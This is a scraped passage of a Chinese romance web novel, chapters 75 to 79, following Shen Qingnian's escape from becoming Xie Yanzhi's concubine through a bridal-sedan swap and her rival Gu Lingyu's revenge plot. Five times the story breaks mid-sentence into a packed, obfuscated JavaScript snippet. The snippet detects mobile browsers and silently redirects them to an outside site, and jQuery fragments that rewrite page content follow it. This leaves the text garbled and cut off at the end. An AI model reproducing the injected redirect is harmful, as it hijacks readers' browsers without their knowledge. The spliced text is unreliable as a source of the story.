眼前这位是众多表姑娘里最出挑的,除了家世实在是拿不出手外,那相貌和身段是一等一的好,礼仪也是无可挑剔。 她家老夫人原本还对这位表姑娘抱有很大的期望的。 老夫人知道大公子时不时地照顾这位表姑娘,也从没阻拦过。 还以为她能爬了大公子的床,结果还是没能将大公子拿下。 她又瘪了瘪嘴,心想着长得好看又怎么样,还不是个不中用的! 老太太再看了一眼沈清念,见她立在那里,不卑不亢,心里倒是对她多了一分好感。 能认清形势,得不到就放弃,不死乞白赖地留下来讨人嫌,倒是个果断的。 老太太端着一副看破不说破的样子,语气温和道:“难得你有如此孝心,我老婆子也不好强留你了。” 看在沈清念这么识趣儿的份上,老太太又吩咐了刘麽麽,赠了一些碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾灵玉懒懒地躺在罗汉榻上,正伸着手,欣赏着手上新染的指甲:“瞧清楚了?” 香草点点头:“奴婢看清楚了,侍卫有两人,丫鬟三人,还有一个喜婆。” “对了,还有那个叫元青的也在。” 顾灵玉听到元青的名字,停下了动作:“表哥倒是挺看重她,还将元青留下来了。” 元青是谢宴之的贴身侍卫,从来只伺候他一人。 顾灵玉又站起身来,走到架子边,伸手摸了摸那上面挂着的嫁衣。 那嫁衣是宫里赏赐的名贵的料子丝光缎,摸起来丝丝滑滑的,能想象穿上是多么的舒适。 那上面绣着精美繁复的花纹。 虽是一件妾室的嫁衣,看起来也是雍容贵气的。 顾灵玉看着那嫁衣,咬了咬嘴唇,心里又有些生气。 表哥对那**也太好了些,一个妾室,哪配得上这样好的料子! 这种丝光缎,她信阳侯府也就那么一匹,还是她母亲留给她做嫁衣用的。 这一刻,她真的觉得受到了侮辱,她将来绝不会穿着那匹缎子做的嫁衣出嫁的! 那缎子在她看来,就是给卑贱的妾室准备的。 而她,将来是要做正妻的! 顾灵玉又看向旁边那件衣裳,那是她回来请绣娘做的一件,样式花纹都照着沈清念那件做的。 只是料子差了一些。 着实是有些委屈。她竟为了表哥委屈至此,不知表哥看到她时,会不会有一丝怜惜。 想到谢宴之那冷峻的侧脸,那高大欣长的身影,顾灵玉的心又软了下来。 罢了,等将来宴之表哥扶她做正妻时,她定要向他讨一匹比这好千倍百倍的料子来做嫁衣! 风风光光的扶正! 顾灵玉又摸了摸指甲上染的鸢尾花,瞥了一眼香草:“下去准备吧,多防着点儿元青。” “还有,我给沈清念准备的大礼,别搞砸了。” 顾灵玉嘴角勾了勾,沈清念帮她如了愿,她怎么能不给她回一份大礼呢? 香草恭敬地点头:“是,小姐。”说完,便退出了房间。 顾灵玉坐在铜镜前,看着镜子里那张脸,喃喃道:“希望明日一切顺利。” 清冷的月光洒进屋子里,沈清念躺在床上也是辗转难眠。 一方面她怕明日这么多人看着,她脱不了身。 更怕谢宴之如他自己所说的那样,日夜兼程赶回来要给她揭盖头。 沈清念打心底希望他能有伤寒高热什么的,能多养几日。 同样紧张的还有菱儿,小姐将金银细软全交给她了,明日可千万不能有什么闪失。 就这样熬到了天微微发亮,沈清念就被两个丫鬟喊起来梳洗。 喜婆拿着梳子将沈清念的头发一梳到底,说着吉祥话:“一梳梳到底,二梳白发齐眉……” 明明是喜庆的话,落在沈清念耳朵里却是那么的刺耳。 梳完头,喜婆又拿出线来替她绞面,那一根丝线狠狠绞在脸上,沈清念拧起了眉。 她不禁想,若是今日要嫁的是萧怀意,还会不会让人觉得那样疼? 喜婆瞧着新娘子脸上没有一丝喜色,心里也有了几分猜测,无非是不愿为妾。 这样好的富贵人家,嫁进去就享福,有什么想不通的? 喜婆撇了撇嘴,给她上了妆,再戴上几支珠翠,就算准备好了。 菱儿又给两个丫鬟和喜婆给了赏钱。 众人又等了两刻钟,待吉时到时,喜婆将一顶红盖头盖在沈清念头上,再由菱儿扶着出了门。 沈清念来到花轿前,元青掀了帘子让沈清念上轿。 沈清念伸出手,递了喜钱过去:“元青,这两日辛苦你了。” 元青笑呵呵地用双手接过,笑呵呵道:“清姑娘客气了” “今日过后,就得改口叫您清姨娘了。” 沈清念没有再说话,只是低着头,在菱儿的搀扶下上了花轿。 “起轿!”元青喊了一声,顺手点了一挂鞭炮。 在嘈杂的鞭炮声中,四个轿夫抬起小轿,一行人向着靖南侯府出发。 菱儿跟在轿子边走着,看着这小小的迎亲队伍,心里很是替身清念委屈。 要是夫人瞧见小姐被人用这样一顶小轿抬进府,就这样嫁做人妇,心里该有多难受。 自家小姐虽是商户之女,但在江南,凭借小姐的才情与美貌,有多少公子想要迎娶小姐做妻子。 到时定是八抬大轿,十里红妆! 她又转念一想,还好今日这场婚事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312938|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不作数,小姐也不是真的成亲。 菱儿又看了眼在前面走着的元青。 这府上,除了金珠和银珠,就元青对她最好。 虽然他是大公子的狗腿子! 不知为何,她看着他的背影,心中生出了不舍。 她快步上前去,拍了拍元青的手臂,笑着道:“元青大哥。” “怎么了,菱角?”元青含笑看着菱儿。 今日清姑娘成婚,菱角也换上了红衣裳,双丫上还绑着红绳。 看起来俏皮又乖巧。 菱儿从腰间取下一个草编的蚂蚱递过去。 “这是我编的,送给你。” 元青笑着接过去道:“干嘛突然送我东西?” “你这是把我当成三岁孩童了?” “元青哥,要是没人和你玩,你可以玩这个。”菱儿想了想说道。 她可不能说这是送他的离别礼物。 “没人和我玩,我不会来找你玩吗?”元青看了一眼菱儿。 菱儿咬了咬唇没有说话。 “怎么,你不想我来找你玩儿?” “大不了,我再给你带些松子儿,栗子糕什么的。” 听着元青的话,菱儿鼻尖一红,流下一滴泪来。 元青一看,忙用自己的袖子替菱儿擦泪,又捧了捧菱儿的脸,哄着道:“别哭了。” “这是怎么了,怎么越说要给你买好吃的就越哭呢?” 菱儿抽了抽鼻子,瘪了瘪嘴,最后憋出来一句:“我是舍不得我家小姐。” 原来是心疼清姑娘要嫁人了。 元青弹了弹她的脑门:“清姑娘是嫁到侯府了,又不是嫁到别的地方去了。” “再说,大公子这么喜欢清姑娘,是不会委屈她的。” 菱儿听到元青说不委屈她家小姐,心里一下就来气了。 怎么叫不委屈? 让她家小姐做妾还不够委屈的吗? 看看这成亲的排场,一看就是个小门小户的妾室,好似谁都可以来踩上一脚。 菱儿伸手拿回了那只蚂蚱,瞪了元青一眼,心里骂道:狗腿就是狗腿!随后就退回到轿子那儿去了。 回头看了眼菱儿,他也不知道自己是哪里惹了她生气。 这时,只听到一声大嗓门:“对面的,给我让开!” 第七十六章 生米煮成熟饭 元青一看,对面来了一顶八抬大轿,将这胡同都堵了。 对面的媒婆帕子一甩,双手叉腰:“你们那轿子往后退一退,让我们小姐先过去。” 这边的喜婆也不甘示弱,也走上去挺直了胸道:“凭什么是我们退,你们怎么不退?” 新娘的花轿后退多么不吉利! 对方对着她翻了个白眼:“就凭你们那是小妾的轿子,我们这是正妻的轿子。小妾给正妻让道不是应该的吗?” 沈清念这边的喜婆指着那个媒婆,半天蹦不出一个字。 刚刚她还觉着这姑娘做妾还板着张脸,是不知好歹。 现在她有些后悔这样想了,这做妾的,确实矮了正妻一头儿! 最后只能叉着腰来了一句:“我们就不退!” “我们也不退!” 两人越吵越近,开始你推我攘,扭打在了一起。 元青上前去刚要制止,就被对方的媒婆挠了一脸,疼得他龇牙咧嘴。 他还来不及反应,又被那媒婆薅住了头发。 两方人马都怕自己这方吃亏,纷纷加入了进来。 现场一片混乱。 元青好不容易将自己的头发从那媒婆手里扯了出来,见双方一团乱,他拔出腰间的佩剑,大声吼道:“再不让开,休怪刀剑无眼。” 说着,朝那媒婆挥舞了一剑。 凌冽的剑风扫过脸庞,那媒婆吓得呆愣在了原地。 只因她侧边的发丝被削掉了几缕,飘飘然落在地上。 两方人马见状,这才消停了下来,各自回到自己的花轿边。 那媒婆被元青那样一吓,主动让那几个轿夫抬着轿子后退,给元青他们让了道,让他们的花轿先过。 元青这才收了佩剑,又回头看了眼花轿,他总觉得哪里有些不对劲,却又说不上来。 为了以防万一,元青来到花轿前,弓着身道:“清姑娘,你没事吧?” 花轿里没有人回答,元青心里一紧,难道出事了? 他刚要伸手掀开帘子,面前的帘子就掀起了一角,里面露出一只纤纤玉手,朝他摆了摆,又缩了回去。 元青随即打消了疑惑,招了招手,轿夫又抬着花轿走了起来。 两个花轿擦身而过时,菱儿瞥了一眼那个花轿,捏了捏帕子。 花轿从后门抬进了侯府,又到了浅月居。 菱儿将轿子里的新娘子扶进了屋子后,趴在门缝看了一眼。 见元青离了浅月居,菱儿赶紧跑出来,对守在院子的两个侍卫道: “我去厨房给小姐拿一点吃的。” 那侍卫见她一个小小的丫鬟,也没在意,就将人放出了浅月居。 菱儿飞快地扯掉头上的红绳,从后门溜了出去,她还要赶去和小姐汇合呢! 众人在院子里等到掌灯的时候,谢宴之果真赶了回来。 元青去门口迎的他。 “沈清念呢?”谢宴之问了一句。 “清姑娘在浅月居呢。”元青低声说道。 “我先去揭盖头。”说着,就往浅月居的方向去了。 谢宴之也不知为何,心里总觉得有些不安。 他今日回来得这样晚,不知她会不会生他的气? 想着,便加快了脚步。 只是那步子迈得极大,元青几乎要小跑起来才能跟上,他小声嘀咕:“爷这么急做什么,左右一会儿就能见着了。” 又想着,或许是第一次办喜事,爷难免有些激动。 谢宴之来到浅月居外,喜婆与丫鬟们刚要上前问安,就见谢宴之摆了摆手,想要进去给沈清念一个惊喜。 他轻轻走到门口,心里竟头一次生出一丝紧张。 盼了这样久,沈清念终于是他的人了。 谢宴之将门推开了一条缝儿。 一眼望去,就看到一抹窈窕身影,盖着红盖头,双手叠在一起放在膝上,乖巧地坐在床边。 他不用掀盖头也能想象那盖头下的娇羞。 再瞧那白皙的手腕上,戴着她为他们的亲事精心挑选的龙凤镯子,衬得那腕子更加白皙纤细。 那如葱削般纤长的手指…… 谢宴之脸上的喜悦顿时一扫而光。 他扫视了屋子里外,脸蓦地沉了下来。 关上门,离开了屋子。 喜婆和丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312939|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬟都面露不解,世子爷过来的时候,分明是春风得意,心情畅快的。 谢宴之走到院子口,对着其中的一个侍卫道:“那屋子里的美人赏你了。” 侍卫一脸地惊吓,连忙跪在地上。 他都知道那是主子的姨娘,定是要紧的人物。 不然也不会让他们日夜守在那里,把人看住。 元青惊得张着嘴,不敢相信自己刚刚听到的。 爷一向把清姑娘当成宝贝,现在怎么将她送人了? 谢宴之见那侍卫吓得跪下,脸越发深沉,一把抽出腰间佩剑,直指他的眉心,冷冷道:“进去!” 侍卫头上吓出了汗,颤颤巍巍地进去了。 元青小心地开口问道:“爷,为何将清姑娘送了人?” “那屋子里的人不是沈清念!”谢宴之冷冽的声音传来,让元青觉着后背发寒。 人是他亲自接来的,怎么会不是? “那……那屋子里的是谁?” 谢宴之负着手,吐出三个字:顾——灵——玉! 元青吓得当即跪在地上! 他的脑子不停地想着问题到底出在哪里? 昨日到今日都很正常,没什么奇怪的事。 要说有,便是今日碰到的那顶八抬大轿! 可他那时,分明看见清姑娘冲他摆手时,手腕上戴着那只龙凤镯, 也正因如此,他才确认了轿中人的身份啊。 清姑娘,到底是怎么回事? 元青此时真想找沈清念问个清楚。 顾灵玉听见屋子里传来了沉重的脚步声,一听就是男子的。 应该是宴之表哥回来了! 本来她等了那么久,心里已经有些不耐烦了。 这下,她又兴奋,又有些紧张。 她不知道表哥等会儿看见是她,会不会勃然大怒。 此时,她感受到自己的盖头被轻轻揭起了一些。 既然宴之表哥还不知是她,那就将生米煮成熟饭,到时表哥不认也得认! 在盖头完全揭掉的一瞬间,顾灵玉转头冲着烛台,熄掉了那仅剩的一对龙凤烛,又转过身来,抱住了“谢宴之”。 第七十七章 我不在乎 谢宴之看着室内烛火熄灭,冷笑一声,敢算计他的人都要付出代价。 这时,不远处传来了一点光亮。 元青定睛一看,是大夫人薛氏扶着老夫人过来了,刘麽麽提着灯笼跟着。 等她们走进了,就见那浅月居门口贴着大红的喜字,挂着两盏红红的灯笼。 谢宴之神情冷峻,像要离开浅月居。 老夫人她们本是想过来看看谢宴之新纳的姨娘的模样,却见屋子里的烛火尽熄,里面传来一些不好言说的声音。 老夫人走上前去关切地问道:“宴哥儿,你怎么在这里?” 今日是他纳妾之喜,他人不在屋子里,为何会在外面。 “是啊,宴哥儿,你怎么没跟那姨娘在一处?”大夫人薛氏也觉得有些蹊跷。 不等谢宴之回答,屋子里就传来了一阵尖叫声。 “那是给我侍卫纳的妾,我进去做什么?”谢宴之冷冷地看着远处,对屋子里的惊叫声充耳不闻。 屋子里的烛火迅速被点亮,顾灵玉惊恐的声音传来:“你……你是谁?!” “滚啊!滚出去!”女子的声音里带着些哭腔。 就见一身着白色单衣的男子,抱着衣裳快速地出来,跪在了谢宴之面前。 这一下,门口的喜婆也瞧见了屋子里那娘子的样子。 她脸色大变,在一旁大气都不敢出。 那床上的人分明不是先前那位娘子! 这到底是怎么回事? “这声音……”大夫人觉着这声音听着有些耳熟。 “宴之表哥呢?”屋子又传来撕心裂肺的声音。 大夫人心里一咯噔,这是……顾灵玉的声音! 顾灵玉怎么会在这里? 她有些不敢相信,对着老夫人道:“老夫人,我去看看。” 老夫人点点头,大夫人慌忙走进屋子,就见一女子用被子裹着,露着半个肩膀,颤颤巍巍地在哭泣。 大夫人脚步顿了顿,走到了床边,用手拍了拍那女子的背,试着喊了一句:“灵玉?” 顾灵玉从被子里抬起头来,见到面前的薛氏,眼泪像止不住的洪水,扑到薛氏的怀里:“姨…母!” 见自己的亲侄女儿眼眶红红的,哭得那样委屈,那样脆弱,薛氏心里心如刀绞。 这让他如何向她的哥哥信阳侯交代! “灵玉,你告诉姨母,这到底是怎么回事?” 薛氏轻轻哄着道:“今儿是宴哥儿纳妾,你为何在这里?” 还与侍卫纠缠在一起,弄成这般模样?后面这话,薛氏没有问出口。 听到谢宴之的名字,顾灵玉一下从薛氏的怀里坐起来。 擦了擦眼泪:“姨母,宴之表哥呢?” “我要见宴之表哥!” 薛氏也擦了擦泪,“宴哥儿在外面呢。” 顾灵玉挣扎着站起来,要跑出去找谢宴之。 薛氏赶紧将衣裳披在了她身上:“慢一些,灵玉!” 只是话还未说完,顾灵玉就光着脚跑了出去。 跑到门口,顾灵玉一下就看到灯笼下那道高大挺拔的身影,如松如竹。 明黄的光亮落在那冷峻的侧脸上,为那浓烈的眉目镀上了一层清冷的光晕。 那是她曾爱慕多年的少年郎! “宴之表哥!”顾灵玉的眼前一片模糊,泪水唰的一下,涌出了眼眶。 她跌跌撞撞来到谢宴之面前,想要抓住他的披风,却被谢宴之后退一步躲开。 “宴之表哥!你听我解释!”顾灵玉急得要上前一步,这才看到她脚边还跪着那侍卫,她又想起了屋子里的事。 她用手指着那侍卫,哆哆嗦嗦道:“我原是在等着宴之表哥你的,却不想这个卑贱的人闯了进来。” “表哥!快替我杀了他!我要他死!” 顾灵玉哭着望向跪在地上的那抹白色的身影,眼里满是憎恨。 如不是这个该死的侍卫,她现在已经是宴之表哥的人了。 可偏偏…… “你与他如何,干我何事?”谢宴之冷冷吐出这几个字。 “我,我是来……” 是来给你做妾的呀,这几个字顾灵玉说不出口。 现在这么多人看着,她觉得羞耻极了。 “她人呢?”谢宴之阴冷的目光直直盯着她,盯得她浑身发寒。 “她走了,去找她那青梅竹马的未婚夫了。” “宴之表哥,她不喜欢你,也不愿做你的妾室。” “但我愿意啊!” 说着,又要去拉谢宴之的衣角。 “脏!”谢宴之打掉了她的手,厌恶地看了她一眼。 从小到大他都未给过她一个好脸色,如今还妄想用亲事来算计他。 若不是看到她那指甲上红得刺眼的鸢尾花,他今日差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312940|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点就真的被她给算计了。 从前他就讨厌她那尖利的指甲,还有那与她并不相配的鸢尾花。 而沈清念从来不染指甲,她的十指总是粉粉嫩嫩,干干净净的。 顾灵玉的心犹如针扎,表哥竟用那样嫌恶的眼神看她。 他是在嫌弃她脏? “表哥,我和他并没有越过那最后一步。” “我不在乎。” 谢宴之又说了一句:“是我让他进来的!” 什么!顾灵玉一下瘫倒在地。 “灵玉!”大夫人薛氏跑过来,一把将顾灵玉搂在怀里。 “姨母,宴之表哥刚刚说什么?”顾灵玉像被人一下抽走了所有的力气般,艰难地开口询问,眼泪大颗大颗地滚落下来。 “灵玉……”大夫人抹了抹泪。 “宴哥儿,灵玉好歹是你的表妹,你为何要这样对她!”薛氏觉得谢宴之这事实在是做得过了些。 老夫人在一旁也算是弄清楚了一些。 宴哥儿要纳的人被顾灵玉换成了她自己。 老夫人今日听说新房设在浅月居,就曾怀疑过谢宴之要纳的人是不是那清丫头。 如今又发生了这样的事,她按住心中的猜想,问了谢宴之一声:“宴哥儿,你到底是要纳谁?” “沈清念!”谢宴之几乎是一字一顿地念出这个名字。 她竟然逃婚了! 她竟敢逃婚! 为了那青梅竹马的未婚夫吗? 大夫人一脸惊诧,她从没想过谢宴之会纳沈清念,他不是一直都讨厌她吗? 老夫人的脸色变了变,那清丫头还来向她辞行! 早知道宴哥儿喜欢她,管她有没有未婚夫,她都不会放她走的。 她的长孙要纳她,难道还委屈了她不成! 不知好歹的东西! 谢宴之抬脚就要往外走,他得去将她抓回来。 “哈哈哈。”顾灵玉突然笑起来。 “她根本不爱你,你为什么还要去找她?” “我这么喜欢你!你为何不要我?” “我是脏了,配不上你了。” 顾灵玉眼里露出一丝怨毒:“可沈清念现在也脏了,你就算找到她,也来不及了。” 谢宴之一把揪住她的衣领:“你说什么,你把她怎么了?” 顾灵玉说了一个地方,勾了勾唇苦涩道:“你去看了就知道了。” 第七十八章 没气儿了? 这头,元青他们的花轿过去后,沈清念终于松了一口气。 她也没想到元青会和跟谢宴之一样敏锐,居然察觉了一样,想着去看看她是否还在轿中。 幸好,她将那龙凤镯放在了轿中。 等她与顾灵玉趁乱进了对方的花轿,菱儿就提醒顾灵玉戴上。 元青见了那镯子,果然没有再怀疑了。 只是,两顶轿子擦身而过时,顾灵玉掀开帘子,看了她一眼。 那一眼里有得意,有鄙视,还有一种说不出的意味。 好像是看到别人遭难了,才有的那种眼神。 这让她心里不禁警惕了起来。 但愿顾灵玉不会像她猜的那样。 这花轿走了好一会儿了,还没有停下。 沈清念想掀开帘子看看,旁边的媒婆一把将帘子拉下来,不让她往外面瞧:“娘子,不要随意露脸,叫人瞧见了不好。” 沈清念心里的不安越发强烈,直觉告诉她,这一切都不对劲。 恐怕顾灵玉是要害她!眼下人多,她根本无力反抗,只有走一步看一步。 她拔下谢宴之给她的那根金簪,紧紧地握在了手里。 过了一会儿,轿子停下了,周围也没了声响。 沈清念掀开帘子一看,四周荒草丛生,周围一个人影儿也没有。 她好像是被人抬到了一处废弃的院子。 顾灵玉果然没按照约定,将她放在事先约定的地方。 她四处看了看,整个院子四面都是高墙,就只有一扇大门可以出去。沈清念提着裙摆快步走过去,试着开了开门,却发现门被人从外面上了锁,根本打不开。 但她还是透过门缝儿,看到门口有一片红色的衣角。 看来有人还守在门外,顾灵玉是要将她关在这里。 此时身后的屋子里有声音传来,沈清念回头看去,是一个蓬头垢面的的男子,身上的衣服破烂,散发着臭味。 那男子一见到他就两眼放光:“嘿嘿,没想到贵人说的是真的。” 真的给他送了个小娘子来。 原本他就是一个臭要饭的,没想到有位贵人突然瞧上了他,给了他银子,还说给他送个小娘子任他处置。 乞丐心里美滋滋的,这天上掉馅饼的事儿也是让他碰着了一回了。 那乞丐越走越近,用手擦了一把嘴角的哈喇子,笑呵呵道:“娘子,快过来。” 见此情形,沈清念还有什么不明白的。 顾灵玉是想让这个乞丐来毁了她的清白! 她皱了皱眉,强迫自己冷静下来,手握金簪,一步步后退,眼睛盯着乞丐的一举一动。 与乞丐硬碰是行不通的,门口也有人把守着。 到底要怎样办? 沈清念快速地想了一遍。 这时,她的手碰到了腰间的东西,沈清念心思一动。 看着步步紧逼的乞丐,心道只能试试了。 那乞丐笑呵呵地正要伸手抓她,就见她扔出一物,直直朝他砸过来。 那乞丐躲闪不及,被砸中了额头。 他摸着被砸的额头啐了一口,没想到这小娘子脾气还挺大! 乞丐气急败坏地弯腰要捡起那东西砸回去,低头才发现,刚刚砸他的是一颗碎银。 没想到小娘子居然用银子砸他。 他开心地捡起来,冲沈清念一笑,露出一口黄黄的牙。 沈清念忍住胃里的翻滚,十分镇定地看着他:“还想要银子吗?” 那乞丐点点头,等着沈清念再拿银子出来。 “你可知我今日要嫁的是靖南侯府的世子。”沈清念盯着那乞丐,语气平淡,但眼里却是满满的警告。 靖南侯府世子谢宴之,这个名字在京城也是无人不晓了,乞丐当然也听说过。 沈清念见那乞丐没有再轻举妄动,又道:“世子极其喜爱我,给我许多银钱做嫁妆,你若想要,就去找门口那丫头来。” “只要我能出去,那些银钱就都是你的。” 乞丐摸着下巴,转了转眼珠,眼里有一丝精光冒出。 小娘子好看,银子他也想要。 沈清念没错过他的表情,一下看穿了他的心思,正色道:“若你还对我存着什么不该有的心思,等会儿世子找来了,你也活不了。” “是拿了银钱,后半生享福,还是鱼死网破,你选一个。” 说着,沈清念就拿着那支金簪抵住了自己的脖子。 那乞丐看着沈清念一脸的决绝,也不敢乱动。 门外香草正侧着耳朵在听着里面的动静。 小姐说了,只要办成了这件事,她就还了她的身契,放她归家去。 这位表小姐也不能怪她,要怪就怪她家小姐吧。 这么大半天了,屋子里也没个动静。 正想着呢,就听见屋子里传来沈清念的声音:“救命啊!你…你不要过来!” “小娘子,你别怕啊!”又传来了乞丐那猥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312941|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琐的声音。 香叶挤着门缝儿,看到沈清念好像被那乞丐逼着一直往后退。 二人的身影从门后闪过,就再看不见别的了。 香草放心下来,总算是有动静了。 就说嘛,那表姑娘长得花容月貌,怎么会不动心呢? 她顺着门边儿坐下,又听到一声沉闷的声响,接着又听到那乞丐道:“你别死啊!” 死? 香草急忙站起来,又想挤着门缝儿看看。 却见一只大眼露在门后,正盯着她! 香草吓得往后退了两步,差点摔在地上。 那乞丐大力拍着门:“快开门,人没气儿啦!” 香草凑到门前:“怎么回事?叫你毁了她清白就行,怎么还把人弄没气儿了?” “谁想到她性子这么烈!一下想不开就撞了墙。” “快快快!我要出去!” “贵人的银子我也不要了。” 乞丐一直大力拍着门,香草只好拿出钥匙打开了门,探着身子往里面看。 没看到沈清念,自己却被那乞丐一把抓进了屋子。 那乞丐将香草拖到屋内,不顾她的反抗,在她身上搜寻起沈清念说的那些银钱来。 沈清念则趁机跑到门外,将门重新锁上。 见四周没人,她飞快地脱了嫁衣,露出里面那竹青色的袍子来。 又摘了头上的珠翠放进袖子里,用一根木簪簪住头发,这才匆匆离去。 她前脚刚走,谢宴之就赶来了。 只见这院子门被锁上了,地上是一身嫁衣。 里面又传来男子的叫骂声:“哭什么哭!还有脸哭!” 那乞丐刚刚将香草里里外外搜了一番,只找到几文钱,这才知道上了当了。 这下好了,那么漂亮的小娘子跑了,银钱也没了。 他看着香草就来气,见她一直哭哭啼啼的,那乞丐上去又是一耳光。 只是还没放下手来,人就被一脚踢飞。 谢宴之将那乞丐踢开后,看见是香草衣衫不整地坐在一堆干草上哭。 他的神色才松了松。 “沈清念人呢?”谢宴之一剑指在香草面前。 “表…表姑娘跑了。”香草看那剑冒着寒光刺过来,额上都吓出了汗。 大公子肯定是知道她和小姐一起算计沈清念的事了。 很可能会一剑杀了她! 她不再犹豫,颤颤巍巍道:“大公子,我…我知道表小姐要去哪里。” 第七十九章 难道他对她还不够好吗? 顾灵玉帮沈清念办来的路引,她见过。 谢宴之收回了剑,盯着她。 香草赶紧跪在地上:“我见过小姐帮表姑娘办的路引,那上面写的是通州。” 谢宴之脸上蒙上一层寒霜,沈清念的路引是顾灵玉帮她办的? 她们二人何时好到可以相互成全了? “把你知道的都说出来!” 听了香草的话,谢宴之明白过来。沈清念以帮顾灵玉入府作为交换条件!让顾灵玉帮她办路引,为的就是离开他! 也就是说她是早就有谋划的。 他又想起了那日那竹叶青的袍子,原来是给她自己准备的。 谢宴之无声自嘲,那袖子那样小,那样短,一看就不是给他的。 当时怎么就被她给糊弄了过去! 她还提前去向老夫人辞了行。 这桩桩件件不就是在说她不愿为妾,不愿和他在一起吗? 为了逃离自己,连她讨厌的人,她都利用上了。 倒真是小瞧她了。 想起沈清念那乖顺的模样,他不禁皱眉,沈清念到底在他面前装了多少。 她果然还是那样有心计的人,一点都没变。 沈清念要去通州,也是他没有想到的。 她逃也是逃回江南去,去通州干什么? 谢宴之冷嗤一声,不知沈清念还有多少事瞒着他。 他转身就要往门口去,又见那乞丐怀里,露出那支红宝石金簪,他一把夺过来。 “你碰她了?”谢宴之凛冽的眼神看过来。 乞丐吓得腿软,连连求饶:“没有,没有!” 他没想到,那小娘子还真是这贵人的心上人,还好他刚刚没碰她。 “我助那小娘子逃跑,这是小娘子主动赠与我的。”乞丐讨好地说道。 希望这位贵人看在他相助过小娘子的份上放过他。 剑光一闪,就听得乞丐捂着手惨叫连连,香草看到乞丐的断肢,心里一阵后怕,捂着嘴缩在那地上,根本不敢动弹。 此时,元青带着一队人也在这时赶到了门外,见谢宴之一人出来,他的心提到了嗓子眼。 他又往里看了看,没有看到他想看的人。 “公子,清姑娘呢?” 谢宴之沉着脸,甩给元青一块令牌:“你带一些人去城门口,排查所有去往通州的人。” “是,爷!”元青心里清楚了,清姑娘和菱角是去了通州! “爷,您呢?” “我去渡口!”谢宴之翻身上马,往渡口飞奔而去。 他知道沈清念才走了没多久。 京城去通州就两条路。 要么坐船顺水南下,要么雇马车日夜兼程。 沈清念是江南来的,他就是觉得她会坐船离开。 他要亲自去将她抓回来,问问她为何要走,难道他对她还不够好吗? 还从来没有谁会拒绝他堂堂世子的示好! 他眼睛红红的,周身的寒气更加凌冽。 他要让她看看,骗他负他是个什么下场! 元青也不敢耽搁,立即带人往城门方向去了。 渡口边,菱儿一直抱着包袱等着沈清念,直至日落黄昏,她都没见到自家小姐的影子。 看到熙熙攘攘的渡口,现在只剩下她一人,她心里有些慌了。 难道小姐在路上除了什么意外? 她看着远处的点点灯火,一股悔意涌上心头。 她应该陪在小姐身边的,可那个时候她跟着小姐的花轿走的话,定会惹人怀疑。 身后的船家大声喊道:“那边那位小哥,走不走?我们是最后一艘船了。” 菱儿回头看了船家一眼,没有说话,小姐没来,她怎么敢走! “天都黑了,你等的人不会来了。”船家见她还要守在那里,摇了摇头。 他看这小郎君拿着包袱一直在等,也没将人等来。 不免怀疑他那心上人是不会来了。 菱儿望向远处,昏暗的烛光下,似乎有个影子在动。 待那影子从昏暗里走出来时,菱儿定睛一看,那不就是小姐吗? 她赶紧扑了上去:“小姐!” 天知道她又多担心,多害怕! 谢天谢地,小姐终于来了! 沈清念冲她做了一个“嘘”手势,笑着道:“现在要叫我公子了。” 菱儿身上也穿着男子的衣袍,“你现在也不是我的丫鬟,而是书童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 